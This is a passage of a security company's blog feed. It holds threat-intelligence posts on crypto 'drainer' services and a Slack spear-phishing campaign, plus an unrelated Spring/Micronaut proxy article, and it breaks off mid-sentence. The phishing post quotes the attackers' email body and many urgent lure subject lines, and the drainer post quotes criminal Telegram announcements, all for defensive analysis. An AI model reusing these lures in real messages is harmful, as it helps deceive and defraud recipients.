Test</h4><p>AI <em>may have </em>played an important role in this campaign, as profile pictures appeared to be highly probable artificially generated, according to the ‘<a href="https://isitai.com/ai-image-detector/">Is It AI?</a>’ Checker.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*5GKcPCYxQGkoVBjBxH6H1g.png" /><figcaption>Images are highly likely AI generated</figcaption></figure><h4>Other profiles and contact attempts</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*IUgp1Mw2Yri0U2r4Km4DsQ.png" /><figcaption>Threat Actors posing as recruiters on LinkedIn, using the same script</figcaption></figure><h3>Appendix III: Usual suspects</h3><p>Other research laboratories have conducted their own investigations, yielding notable findings but with attributions different from ours. Some suggest that the sample may be linked to <strong>ALPHV/BlackCat/NOBERUS</strong> or even <strong>BlackBasta</strong> [9]</p><h3>References</h3><ol><li><a href="https://otx.alienvault.com/indicator/domain/sarkerrentacars.com">https://otx.alienvault.com/indicator/domain/sarkerrentacars.com</a></li><li><a href="https://www.virustotal.com/gui/file/e96c13667bccd6c6c38d9797b15642bfea19080f9bc90d944e7ae6abfb4c64be/details">https://www.virustotal.com/gui/file/e96c13667bccd6c6c38d9797b15642bfea19080f9bc90d944e7ae6abfb4c64be/details</a></li><li><a href="https://www.virustotal.com/gui/file/fe565f4296570a89893828cdd61c6421cf745bab220e21cebce226863d5772a0/detection">https://www.virustotal.com/gui/file/fe565f4296570a89893828cdd61c6421cf745bab220e21cebce226863d5772a0/detection</a></li><li><a href="https://otx.alienvault.com/pulse/65c0ef492547f1c6b60729e6/">https://otx.alienvault.com/pulse/65c0ef492547f1c6b60729e6/</a></li><li><a href="https://www.zdnet.com/article/north-korea-has-tried-to-hack-11-officials-of-the-un-security-council/">https://www.zdnet.com/article/north-korea-has-tried-to-hack-11-officials-of-the-un-security-council/</a></li><li><a href="https://www.zdnet.com/article/north-korean-state-hackers-target-retired-diplomats-and-military-officials/">https://www.zdnet.com/article/north-korean-state-hackers-target-retired-diplomats-and-military-officials/</a></li><li><a href="https://archive.ph/vCuIX">https://archive.ph/vCuIX</a></li><li><a href="https://otx.alienvault.com/indicator/ip/72.21.81.200">https://otx.alienvault.com/indicator/ip/72.21.81.200</a></li><li><a href="https://otx.alienvault.com/indicator/domain/sarkerrentacars.com">https://otx.alienvault.com/indicator/domain/sarkerrentacars.com</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a81a1db4173b" width="1" height="1" alt=""><hr><p><a href="https://medium.com/bitso-engineering/docks-profiling-disrupting-yet-another-state-sponsored-campaign-targeting-the-crypto-space-a81a1db4173b">Docks: Profiling &amp; Disrupting (yet another) State-Sponsored campaign targeting the crypto space</a> was originally published in <a href="https://medium.com/bitso-engineering">bitso.engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Drainers: Signing the Crypto Devil’s Contract]]></title>
            <link>https://medium.com/bitso-engineering/drainers-signing-the-crypto-devils-contract-6349bef54418?source=rss----65285b9fc432---4</link>
            <guid isPermaLink="false">https://medium.com/p/6349bef54418</guid>
            <category><![CDATA[web3]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[crypto]]></category>
            <dc:creator><![CDATA[Mauro Eldritch]]></dc:creator>
            <pubDate>Tue, 30 Jan 2024 12:16:54 GMT</pubDate>
            <atom:updated>2024-02-21T17:06:46.803Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>@MauroEldritch, Quetzal Team @ Bitso — 2024</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*eFWRQHYQvt4mp45OX3UJWQ.jpeg" /></figure><h3><strong>Introduction</strong></h3><p>In the realm of blockchain technology, smart contracts serve as the digital arbiters of automated agreements, eliminating the need for intermediaries in transaction processes. At their core, smart contracts are self-executing agreements with their terms often written in languages like Solidity or Rust, publicly visible to anyone. Novices often find it surprisingly accessible to delve into Solidity programming, thanks to freely available online resources like <a href="https://cryptozombies.io/">CryptoZombies</a>, which offer a hands-on and interactive approach, making the learning journey engaging and user-friendly.</p><p>So far, so good. However, while these digital agreements bring efficiency and transparency, the decentralized nature of blockchain also opens the door to malicious and creatively new attack vectors. Threat actors exploit the most basic vulnerability available in the wild: <em>user trust</em>, creating <a href="https://en.wikipedia.org/wiki/Standard_form_contract"><em>leonine</em></a> contracts that may only benefit one party — the attacker — with substantial financial losses for the victims.</p><p>In this article, we’ll explore the malicious smart contracts scene. But tread carefully; if you are not cautious enough, you may end up signing a contract with the crypto devil.</p><h3><strong>DaaS: A contract to rule them all</strong></h3><p>In the DeFi space, a specific kind of malicious smart contract known as a “drainer” has emerged. These contracts deceive users into signing away their crypto assets, including tokens and NFTs, and send them to the attacker’s wallet. Most Drainers are sophisticated, identifying and transferring only valuable assets, and sometimes even swapping less popular tokens for more desirable ones before executing the drain sending them to the attacker. The question arises: Why would users willingly accept such transactions? Drainers often operate in conjunction with phishing sites posing as legitimate platforms. Drainers play the role of the “backend” in the operation, while the phishing site takes the place of the “frontend.” These phishing sites request users to validate their identities by logging in using popular wallets, like <strong>Metamask</strong> 🦊, and present them with an authentic Metamask request to sign the malicious contract. Then, the worst happens.</p><p>While this seems like a hard heist to pull off, the criminal market never stops reinventing itself, surprising even the most seasoned researchers. You don’t have to spend weeks learning Solidity to write your drainer, only to find out you need to improve your frontend game by designing a convincing deceitful site. This process can be easily automated thanks to the Drainers as a Service (DaaS) model — a parallel to the Malware as a Service (MaaS) concept. In this model, threat actors design smart contracts and lease their use to affiliates who deploy copies and share profits with the original creator, while being entitled to receive support and updates. Most drainers come bundled with “phishing kits” for the quick deployment of deceptive websites to trick users into signing malicious contracts.</p><p>Let’s review some of the most popular Drainers in the black market.</p><h3><strong>Devils</strong></h3><p>Let’s start our journey by talking about Inferno Drainer.</p><p>Arguably the most popular drainer out there, Inferno left its mark in Web3-powered cybercrime history [1].</p><p>Inferno’s Malware-as-a-Service model started in November 2022 and finished a year later in November 2023, after seizing more than $80M from victims [2]. Inferno’s goodbye was a tidy one, slowly shutting down their operation, starting first by deleting the admin’s Telegram account but keeping the infrastructure, files, and devices to guarantee “a smooth transition to the new service” clients may choose, as stated in their last message [2] [16] on their official channel:</p><blockquote>The end of the craziest journey.</blockquote><blockquote>Inferno drainer is shutting down. It has been a long ride with all of you and we’d like to thank you from heart.</blockquote><blockquote>Unfortunately, nothing lasts forever.</blockquote><blockquote>After +80 millions of $ drained, we decided to shut down, it’s time for us to move on.</blockquote><blockquote>All files, servers and devices related to inferno drainer will not be destroyed.</blockquote><blockquote>We’re gonna leave the servers running so all of you to be able to make a smooth transition to the new service you’re going to choose.</blockquote><blockquote>Feel free to split the not auto-splited assets.</blockquote><p>Inferno targeted popular crypto projects such as Pepe, Collab.Land, zkSync, MetaMask, and Nakamigos, among others [14], and used malicious JavaScript code to impersonate Web3 protocols, such as Seaport, WalletConnect, and Coinbase, to trick users into authorizing transactions that transferred their crypto to the scammers’ wallets [15].</p><p>Up to this day (January 24th, 2024), even though “inactive,” Inferno Drainer keeps syphoning their victims’ funds [3–13].</p><h3><strong>Angels</strong></h3><p>Angel Drainer is another Malware-as-a-Service scheme targeting EVM (Ethereum Virtual Machine) chains with on-demand deployment of smart contracts. It also targets NFTs, and recently added support for draining <a href="https://solana.com/">SOL</a>.</p><p>Angel gained notoriety after being deployed during a phishing incident that targeted a Ledger (hardware wallet manufacturer) engineer, compromising his NPMJS (Node Packet Management) account. This led to the deployment of a malicious version of Ledger Connect Kit, resulting in funds being stolen from users [24].</p><p>An interesting point about Angel is that their affiliates have “ranks” (Ruby, Emerald, Diamond, and Sapphire) that grant them different benefits and early access to new features. As of January 24th, Angel’s fees are set at 15%, with revenue exceeding $25 million USD from stolen assets [17–23] [25].</p><h3><strong>Ace up the sleeve</strong></h3><p>“We will be taking over this industry one step at a time by treating this like the software business it is,” said the Ace Drainer administrator on their channel after airing their very first public release in September 2023.</p><p>Little is known about Ace Drainer up to this date [26], but their software looks as promising as it does dangerous. It is backed not only by their technical prowess (with custom phishing templates, multiple exchanges targeted, and multiple chains compatibility) but also by their megalomaniac approach of taking the throne left by Inferno Drainer at all costs. They disseminate a conqueror-like speech paired with “loyalty” tokens to their users like offering “0% fees” just after Inferno’s closure to quickly seize the market opening left by them.</p><p>“We are quickly proving our key role and dominance as the best drainer.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*euSsnUhByrgdnueCORWObg.png" /><figcaption>Ace Drainer notifications via Telegram</figcaption></figure><h3><strong>Pinky promise</strong></h3><p>Pink Drainer first emerged in April 2023 and quickly pulled off a 156 ETH heist [30]. Allegedly developed by a lone developer (PinkDeveloper), it has already seized more than $25 million [27] from more than ten thousand victims [28] [29] as of today.</p><p>Pink became multichain compatible just a month after its launch and achieved its first million in July, according to PinkDeveloper.</p><h3><strong>Don’t make eye contact</strong></h3><p>Medusa Drainer entered the arena on the very day Inferno decided to quit, positioning themselves as an alternative to Monkey, Venom, and Inferno itself.</p><blockquote>Hi everyone; after Monkey, Inferno &amp; Venom exits, there’s no drainer left that holds water, so we decided to come up to public as an alternative.</blockquote><blockquote>Who are we?</blockquote><blockquote>- We are an organisation that made multi-million dollars in the past 12 months from multiple methods. we are looking at high quality workers to work in long-term with us.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*OkdOv9KhcGq5CkYr9pwQdw.png" /><figcaption>Medusa Drainer notifications via Telegram</figcaption></figure><p>Little is known about them [31], as Medusa tends to hide their cards, playing in a more conservative way and selecting who to work with. In the first week of 2024, they claimed to have seized more than $5 million from victims.</p><h3><strong>Drain Me</strong></h3><p>Remember that phishing is a crucial part of the drainers’ operation, and deceiving users is a must to steal their funds. As always, criminals are improving their game to maximize profits, successfully compromising and impersonating significant players such as hardware crypto wallet manufacturers like Ledger [24] and Trezor [33], and even the SEC (Securities and Exchange Commission) [32]. Stay vigilant, be safe out there… and don’t get <em>rekt</em>.</p><h3><strong>Acknowledgments</strong></h3><p><strong>Bitso Information Security Team.</strong> <strong>Rob Harrop</strong> for his corrections.</p><h3><strong>References</strong></h3><ol><li><a href="https://dune.com/scamsniffer/inferno-drainer">https://dune.com/scamsniffer/inferno-drainer</a></li><li><a href="https://t.me/InfernoDrainer/150">https://t.me/InfernoDrainer/150</a></li><li><a href="https://twitter.com/MistTrack_io/status/1744575117395702224">https://twitter.com/MistTrack_io/status/1744575117395702224</a></li><li><a href="https://twitter.com/MistTrack_io/status/1745976951452712995">https://twitter.com/MistTrack_io/status/1745976951452712995</a></li><li><a href="https://twitter.com/MistTrack_io/status/1748106498214130100">https://twitter.com/MistTrack_io/status/1748106498214130100</a></li><li><a href="https://twitter.com/MistTrack_io/status/1748104017698529669">https://twitter.com/MistTrack_io/status/1748104017698529669</a></li><li><a href="https://twitter.com/MistTrack_io/status/1748354033067434213">https://twitter.com/MistTrack_io/status/1748354033067434213</a></li><li><a href="https://twitter.com/MistTrack_io/status/1748354059462184983">https://twitter.com/MistTrack_io/status/1748354059462184983</a></li><li><a href="https://twitter.com/MistTrack_io/status/1750126255532584971">https://twitter.com/MistTrack_io/status/1750126255532584971</a></li><li><a href="https://twitter.com/MistTrack_io/status/1750136816559387099">https://twitter.com/MistTrack_io/status/1750136816559387099</a></li><li><a href="https://twitter.com/MistTrack_io/status/1750136788197491053">https://twitter.com/MistTrack_io/status/1750136788197491053</a></li><li><a href="https://twitter.com/MistTrack_io/status/1750139159610798527">https://twitter.com/MistTrack_io/status/1750139159610798527</a></li><li><a href="https://twitter.com/MistTrack_io/status/1750243991910789590">https://twitter.com/MistTrack_io/status/1750243991910789590</a></li><li><a href="https://decrypt.co/140877/inferno-drainer-scam-scammer-phishing-crypto-nfts">https://decrypt.co/140877/inferno-drainer-scam-scammer-phishing-crypto-nfts</a></li><li><a href="https://cybernews.com/crypto/cryptocurrency-con-malware-stole-millions/">https://cybernews.com/crypto/cryptocurrency-con-malware-stole-millions/</a></li><li><a href="https://cointelegraph.com/news/inferno-drainer-shut-down-after-stealing-millions-crypto-wallet-scam-kit">https://cointelegraph.com/news/inferno-drainer-shut-down-after-stealing-millions-crypto-wallet-scam-kit</a></li><li><a href="https://twitter.com/MistTrack_io/status/1742344082779938997">https://twitter.com/MistTrack_io/status/1742344082779938997</a></li><li><a href="https://twitter.com/MistTrack_io/status/1742351908961157421">https://twitter.com/MistTrack_io/status/1742351908961157421</a></li><li><a href="https://twitter.com/MistTrack_io/status/1744689322534863168">https://twitter.com/MistTrack_io/status/1744689322534863168</a></li><li><a href="https://twitter.com/MistTrack_io/status/1746266239973109785">https://twitter.com/MistTrack_io/status/1746266239973109785</a></li><li><a href="https://twitter.com/MistTrack_io/status/1747417488495968735">https://twitter.com/MistTrack_io/status/1747417488495968735</a></li><li><a href="https://twitter.com/MistTrack_io/status/1747692179106197897">https://twitter.com/MistTrack_io/status/1747692179106197897</a></li><li><a href="https://twitter.com/MistTrack_io/status/1749766556006191244">https://twitter.com/MistTrack_io/status/1749766556006191244</a></li><li><a href="https://www.ledger.com/blog/security-incident-report">https://www.ledger.com/blog/security-incident-report</a></li><li><a href="https://dune.com/scamsniffer/angel-drainer-scam-stats">https://dune.com/scamsniffer/angel-drainer-scam-stats</a></li><li><a href="https://twitter.com/MistTrack_io/status/1747171766198489516">https://twitter.com/MistTrack_io/status/1747171766198489516</a></li><li><a href="https://dune.com/scamsniffer/pinkdrainer-stats">https://dune.com/scamsniffer/pinkdrainer-stats</a></li><li><a href="https://twitter.com/MistTrack_io/status/1740802673698623626">https://twitter.com/MistTrack_io/status/1740802673698623626</a></li><li><a href="https://twitter.com/MistTrack_io/status/1744515274769158439">https://twitter.com/MistTrack_io/status/1744515274769158439</a></li><li><a href="https://twitter.com/MetaSleuth/status/1644261722059051008">https://twitter.com/MetaSleuth/status/1644261722059051008</a></li><li><a href="https://twitter.com/MistTrack_io/status/1745446804291018815">https://twitter.com/MistTrack_io/status/1745446804291018815</a></li><li><a href="https://twitter.com/malwrhunterteam/status/1744867233841430742">https://twitter.com/malwrhunterteam/status/1744867233841430742</a></li><li><a href="https://twitter.com/vxunderground/status/1750223676706828328">https://twitter.com/vxunderground/status/1750223676706828328</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6349bef54418" width="1" height="1" alt=""><hr><p><a href="https://medium.com/bitso-engineering/drainers-signing-the-crypto-devils-contract-6349bef54418">Drainers: Signing the Crypto Devil’s Contract</a> was originally published in <a href="https://medium.com/bitso-engineering">bitso.engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Demystifying Proxy Mechanism in Spring and Micronaut]]></title>
            <link>https://medium.com/bitso-engineering/demystifying-proxy-mechanism-in-spring-and-micronaut-ffb9c6cec231?source=rss----65285b9fc432---4</link>
            <guid isPermaLink="false">https://medium.com/p/ffb9c6cec231</guid>
            <category><![CDATA[bitso]]></category>
            <category><![CDATA[design-patterns]]></category>
            <category><![CDATA[micronaut]]></category>
            <category><![CDATA[spring]]></category>
            <category><![CDATA[proxy-pattern]]></category>
            <dc:creator><![CDATA[Rafał Kosiński]]></dc:creator>
            <pubDate>Tue, 23 Jan 2024 12:34:59 GMT</pubDate>
            <atom:updated>2024-01-23T12:34:59.192Z</atom:updated>
            <content:encoded><![CDATA[<p>One crucial aspect of Bitso’s core operations is its Trading Engine, which primarily focuses on order matching and trade generation from a broad perspective. Order matching is the process of pairing buy and sell orders. It ensures efficient trade execution by finding matching orders at compatible prices. We recently had the opportunity to improve one of the Trade Engine’s components: the Orders Service. While enhancing order persistence functionality, we encountered an issue related to the<a href="https://github.com/micronaut-projects/micronaut-core/blob/4.3.x/src/main/docs/guide/aop/retry.adoc#simple-retry"> <strong><em>@Retryable</em></strong></a> annotation in Micronaut. After the investigation, I discovered that the method on which <strong><em>@Retryable</em></strong><em> </em>was used wasn’t proxied to add the retry feature.</p><p>My findings are quite interesting, as it would work just fine with the same configuration using the Spring framework. This inspired me to write this article expanding on the proxy mechanisms employed by Spring and Micronaut, revealing intriguing differences in their approaches.</p><h3>Understanding the Proxy Mechanism</h3><p>Proxies play a pivotal role in both Spring and Micronaut, facilitating features such as AOP (Aspect-Oriented Programming) and transaction management or retry mechanisms. Proxies act as intermediaries, allowing the frameworks to inject additional behavior or control over annotated components.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/0*YKryevJR2RNQKgbc" /><figcaption>Interface-based proxy pattern example</figcaption></figure><h4>Spring’s Proxy Mechanism</h4><p>Spring supports two main types of proxies:<a href="https://docs.spring.io/spring-framework/reference/core/aop/proxying.html"> JDK dynamic proxies and CGLIB proxies.</a></p><p>Those are the two most used proxy approaches in the Java ecosystem as you also might know. Here are some interesting points to observe:</p><p><strong>JDK Dynamic Proxies</strong></p><ul><li>Creation at runtime: JDK dynamic proxies are created dynamically at runtime based on the interfaces implemented by the target class.</li><li>Interface-based: This type of proxy is interface-based, meaning that the target class must implement one or more interfaces to generate dynamic proxies.</li><li>Limitations: The main limitation is that JDK dynamic proxies can only proxy methods defined in interfaces.</li></ul><p><strong>CGLIB Proxies</strong></p><ul><li>Creation by code generation: CGLIB proxies are created through code generation at runtime by extending the target class.</li><li>Class-based: Unlike dynamic proxies, CGLIB proxies work with classes directly, allowing for the proxying of classes and methods not on interfaces.</li><li>Enhanced features: CGLIB proxies provide more flexibility but come with the cost of increased memory consumption and potential method overriding issues.</li><li>Limitations: CGLIB won’t work with final classes or methods as it cannot extend them.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/212/0*wDuPY4DjLHF388AA" /><figcaption>Simplified representation of the CGLIB proxy</figcaption></figure><p>Understanding which type of proxy is in use is crucial for troubleshooting. If you encounter issues related to method visibility or unexpected behavior, it’s worth checking whether JDK dynamic or CGLIB proxies are employed.</p><p>More details on Spring proxy: <br><a href="https://docs.spring.io/spring-framework/reference/core/aop/proxying.html">https://docs.spring.io/spring-framework/reference/core/aop/proxying.html</a></p><h4>Micronaut’s Proxy Mechanism</h4><p>In Micronaut, the proxy mechanism differs significantly from Spring’s runtime-oriented approach. Micronaut adopts a custom <a href="https://docs.micronaut.io/latest/guide/index.html#how">compile-time processing model</a>, leveraging annotation processors during compilation to generate proxies. This approach provides certain advantages in terms of performance and enables Micronaut’s efficiency in resource utilization.</p><p><strong>Compile-Time Processing</strong></p><ul><li>Proxies generated during compilation: Micronaut proxies are generated during compilation, allowing for efficient and optimized code.</li><li>Annotation processors: Micronaut relies on annotation processors to analyze annotated classes and generate the necessary proxy code.</li><li>Performance benefits: Since proxies are created at compile time, there is no runtime overhead associated with proxy creation, contributing to improved application performance in some areas(e.g., startup time).</li></ul><p>More details on Micronaut proxy:<a href="https://docs.micronaut.io/latest/guide/index.html#how"> https://docs.micronaut.io/latest/guide/index.html#how</a></p><h3>Proxy difference example</h3><p>Let’s check how Spring and Micronaut behave with similar configurations of retry features created by frameworks proxy.</p><p>The source code of the Spring example: <a href="https://github.com/rafal-kosinski/proxy-spring-example">https://github.com/rafal-kosinski/proxy-spring-example</a></p><p>The source code of the Micronaut example: <a href="https://github.com/rafal-kosinski/proxy-micronaut-example">https://github.com/rafal-kosinski/proxy-micronaut-example</a></p><p>In both projects there are classes:</p><ul><li><em>RetrySingletonExample</em>: A bean class created by annotation with the <em>retryMe</em> method demonstrating the use of the retry feature</li></ul><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/a36f159903ba9a1edd0222326abb59de/href">https://medium.com/media/a36f159903ba9a1edd0222326abb59de/href</a></iframe><ul><li><em>RetryCreatedByFactoryExample</em>: A bean class created by the <em>RetryFactory</em> class with the <em>retryMe</em> method demonstrating the use of the retry feature</li></ul><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/fe010dd2752766069e01437865d686c1/href">https://medium.com/media/fe010dd2752766069e01437865d686c1/href</a></iframe><ul><li><em>RetryExecutor</em>:<em> </em>Executes<em> retryMe </em>in<em> RetrySingletonExample </em>and<em> RetrySingletonExample </em>once the application context loads</li></ul><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/60642ec78ebe64c05ee5f3db3615c866/href">https://medium.com/media/60642ec78ebe64c05ee5f3db3615c866/href</a></iframe><ul><li><em>RetryFactory</em>: Creates the <em>RetryCreatedByFactoryExample </em>bean</li></ul><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/23df1fdc7a883e66df87465283f62380/href">https://medium.com/media/23df1fdc7a883e66df87465283f62380/href</a></iframe><p>Once you start the applications or run the test present in the linked project you will see the following output on the console:</p><p>Spring example:</p><pre>Executing retryMe in class created by factory<br>Executing retryMe<br>Executing retryMe<br>Executing retryMe<br>Done<br>Executing retryMe in a class created using @Component<br>Executing retryMe<br>Executing retryMe<br>Executing retryMe<br>Done</pre><p>Micronaut example:</p><pre>Executing retryMe in a class created using @Singletion<br>Executing retryMe<br>Executing retryMe<br>Executing retryMe<br>Executing retryMe<br>Done<br>Executing retryMe in class created by factory<br>Executing retryMe<br>Done</pre><p>You can see that the <em>retryMe </em>is retried for in both <em>RetrySingletonExample </em>and<em> RetryCreatedByFactoryExample </em>in the Spring example, which is not the case for the Micronaut example. In Micronaut, the retry works only for the bean created using an annotation. For the bean created in <em>RetryFactory</em>, <em>RetryCreatedByFactoryExample</em>, retry was not applied.</p><h4>A closer look at proxies created for RetrySingletonExample</h4><p>First, let’s see how <em>RetrySingletonExample </em>was proxied by frameworks to add the retry feature.</p><p><strong>Spring</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e0x-qA7VBvGEbS4Mehbp7w.png" /><figcaption>CGLIB proxy in the stack trace</figcaption></figure><p>In the stack trace of the <em>retryMe</em> method originating from <em>RetrySingletonExample</em>, we can see that CGLIB is used to proxy the method call and add the retry feature.</p><p><strong>Micronaut</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3uYvmTOCyK-VvRB8-_OG3A.png" /><figcaption>Micronaut proxy in the stack trace</figcaption></figure><p>The stack trace of calling the same method, that is <em>retryMe</em>, in the Micronaut example of the use of proxy generated during compilation that is adding the retry feature. Once the project is built, we can see this proxy class in the build artifacts:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XAnMK-AkdG8GzP9bncS3wg.png" /><figcaption>Project tree depicting the proxy classes generated by Micronaut</figcaption></figure><p>Both frameworks created proxies to add the retry feature in their way and it works fine.</p><h4>Why retries for RetryCreatedByFactoryExample does not work in Mcronaut but it works in Spring?</h4><p>In the image shown above, we can spot classes with the <em>$Intercepted </em>suffix these classes intercept the calls to real objects like <em>RetrySingletonExample </em>adding extra features like retries, but we cannot spot such a class for <em>RetryCreatedByFactoryExample</em>. <strong>It means that this bean is not proxied, therefore no retry feature was added</strong>. Why is that?</p><p>Micronaut will not add a proxy for the object constructed by ourselves in the <em>RetryFactory</em>, where we are calling the constructor of <em>RetryCreatedByFactoryExample </em>as presented here:</p><pre>@Factory<br>public class RetryFactory {<br>    @Bean<br>    RetryCreatedByFactoryExample retryCreatedByFactoryExample() {<br>        return new RetryCreatedByFactoryExample();<br>    }<br>}</pre><p>In the Spring framework, the analogic configuration works, and the proxy is added on runtime using CGLIB similarly as it is for a bean created by annotation. That’s the use case where those two frameworks work differently for the same configuration because of their different approach to proxy objects.</p><h3>Summary</h3><p>To address the issue in the Orders Service mentioned at the beginning, where <strong><em>@Retryable</em></strong> was ineffective for a factory-created bean, we opted to use the <strong><em>@Singleton</em></strong> annotation. This adjustment successfully applied the retry proxy in Micronaut.</p><p>In summary, both Spring and Micronaut excel as frameworks, sharing similarities but differing in how they implement proxy mechanisms. The choice between them depends on your specific needs. Spring seems to provide more flexibility but comes with the cost of increased memory consumption and potential method overriding issues. Micronaut on the other hand emphasizes reduced memory consumption and optimized resource utilization for the cost of slightly limited proxy capability.</p><p><em>I hope this article is helpful. Thank you for taking the time to read it. If you could share, and comment, it would motivate me to create more content like this. I appreciate your honest feedback!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ffb9c6cec231" width="1" height="1" alt=""><hr><p><a href="https://medium.com/bitso-engineering/demystifying-proxy-mechanism-in-spring-and-micronaut-ffb9c6cec231">Demystifying Proxy Mechanism in Spring and Micronaut</a> was originally published in <a href="https://medium.com/bitso-engineering">bitso.engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Profiling & Disrupting an APT Spear Phishing Campaign Targeting Slack users in the Financial Sector]]></title>
            <link>https://medium.com/bitso-engineering/profiling-disrupting-an-apt-spear-phishing-campaign-targeting-slack-users-in-the-financial-sector-9389533d5fc2?source=rss----65285b9fc432---4</link>
            <guid isPermaLink="false">https://medium.com/p/9389533d5fc2</guid>
            <category><![CDATA[cybercrime]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Mauro Eldritch]]></dc:creator>
            <pubDate>Wed, 17 Jan 2024 17:08:14 GMT</pubDate>
            <atom:updated>2024-02-21T17:06:35.542Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>@MauroEldritch, Quetzal Team @ Bitso — 2024</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zbqllWBzmWcfH6Kmt637PA.jpeg" /><figcaption><em>Credits: Pixabay</em></figcaption></figure><p><strong>Introduction</strong></p><p>In January 2024, we first identified a Spear Phishing campaign targeting Slack users in the financial sector.</p><p>The threat actor used a template for the deceptive email with high attention to detail, making it highly convincing. However, part of its infrastructure is recycled, having been used in previous campaigns, and it shows activity consistent with an Advanced Persistent Threat (APT).</p><p>As of the date of this investigation, there are no public mentions of the indicators of this campaign, suggesting that we are among the first to discover and profile it <a href="https://github.com/MauroEldritch/EVILSLACK?tab=readme-ov-file#references">[1]</a>.</p><p><strong>Technical Analysis</strong></p><p>The attacker uses Google email servers (108.177.16.4, 209.85.218.68 &amp; 209.85.166.169), which are whitelisted on most security providers, to gain a reputational advantage and evade potential blocks based on SPAM lists (source: <a href="https://talosintelligence.com/reputation_center/lookup?search=slack-sso.com">Cisco Talos</a>).</p><p>The body of the email is static, but the subject and malicious action button links change per recipient. The template is highly sophisticated, with particular attention to detail, including links and buttons redirecting to official Slack application sites and social networks. However, the language used in the email body and the email subjects reveals the deceptive nature of the communication, as analyzed in the ‘Language Analysis’ section below.</p><p>Malicious domains used by the threat actor are hosted on <a href="https://porkbun.com/">PorkBun</a>, similar to those used by <a href="https://github.com/birminghamcyberarms/QRLog/">QRLog</a>. At the time of writing this report, all these domains display a “Maintenance” message, as seen below. This is likely a response to us releasing IOCs (Indicators of Compromise) on various intelligence platforms (available in the ‘References’ section).</p><p>Domains were created on January 3rd except for <em>slack-hub.com</em> which exists since May, 2021. All of them have none or positive reputation.</p><p><strong>Language Analysis</strong></p><p><strong>Email Body</strong></p><blockquote>Kindly acknowledge receiving of our deal!</blockquote><blockquote>We urge you to immediately address the requirement to accept our recent updated deal through your company‘s messaging platform. Kindly enter your official communication account and promptly acknowledge your business‘s newest deal.</blockquote><ul><li>Use of “receiving of” instead of “receipt of.”</li><li>Use of “recent updated” instead of “recently updated.”</li><li>Use of “<a href="https://www.linkedin.com/posts/virajsheth_kindly-is-the-most-passive-aggressive-corporate-activity-7040312092536496128-6AKj/">kindly</a>,” a word uncommon in normal communications and very frequent in deceptive emails.</li></ul><p><strong>Subjects</strong></p><blockquote>Take Immediate Action: Accept Your Latest Business Agreement on Slack!</blockquote><blockquote>Action Needed: Log in and Consent to the Revised Agreement on Communication!</blockquote><blockquote>Time-sensitive: Verify Your Company’s New Slack Deal Immediately!</blockquote><blockquote>Time’s Running Out: Recognize Your Recently Company Agreement on Slack!</blockquote><blockquote>URGENT: Approval Required for the Fresh Business Contract on Messaging!</blockquote><blockquote>Critical Mission: Acknowledge Your Business’s Latest Agreement on Communication!</blockquote><blockquote>Vital Update: Accept Your Recent Company Pact on Slack!</blockquote><blockquote>Crucial: Acknowledge the New Contract on Company’s Messaging!</blockquote><blockquote>Don’t Miss Out on This: Acknowledge Your Company’s Newest Agreement on Slack!</blockquote><blockquote>Act Now: Accept Your Newest Company Terms on Slack!</blockquote><blockquote>VITAL: Approval Required for the New Company Pact on Slack!</blockquote><blockquote>Respond Immediately: Validate Your Latest Corporate Agreement on Slack!</blockquote><blockquote>Critical Assignment: Validate Your Company’s Most Recent Agreement on Slack!</blockquote><blockquote>Critical Task: Confirm Your Company’s Newest Deal on Slack!</blockquote><blockquote>Important Update: Accept Your Most Recent Company Deal on Slack!</blockquote><blockquote>PRESSING: Approval Required for the New Company Agreement on Slack!</blockquote><blockquote>Urgent: Login and Endorse the Updated Agreement on Slack!</blockquote><blockquote>Essential Duty: Authorize Your Company’s Recent Contract on Messaging!</blockquote><ul><li>Use of a common pattern: [Alert Phrase]: [Action Needed]!.</li><li>Use of a common pattern attempting to deceive the user through a false sense of urgency.</li><li>Use of unnecessary exclamation marks.</li><li>Use of uncommon words and phrases in corporate communications such as “Pressing,” “Vital,” “Respond Immediately,” 